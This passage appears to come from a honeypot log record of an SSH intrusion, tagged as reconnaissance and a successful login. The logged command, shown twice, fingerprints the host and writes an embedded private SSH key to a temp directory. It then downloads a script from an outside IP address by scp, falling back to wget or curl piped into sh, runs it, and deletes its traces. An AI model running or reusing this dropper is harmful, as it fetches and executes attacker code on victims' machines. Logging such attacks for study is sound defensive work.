    "uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"; cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----; b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW; QyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxgAAAJAt8FDRLfBQ; 0QAAAAtzc2gtZWQyNTUxOQAAACDveEt+JtIVZGBVIbVkHvdkvQqdMiafu5/IMOvelH/yxg; AAAEAr1wl+3JHkjA3ZtPtjd8bAtLVFo13eZ12Aw2QnFXC/ie94S34m0hVkYFUhtWQe92S9; Cp0yJp+7n8gw696Uf/LGAAAACGRsckBzZnRwAQIDBAU=; -----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no; UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@217.60.195.113:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh ssh >/dev/null 2>&1; else (wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s ssh; fi; rm -rf sshcfg key.ppk out_sh",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 120,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}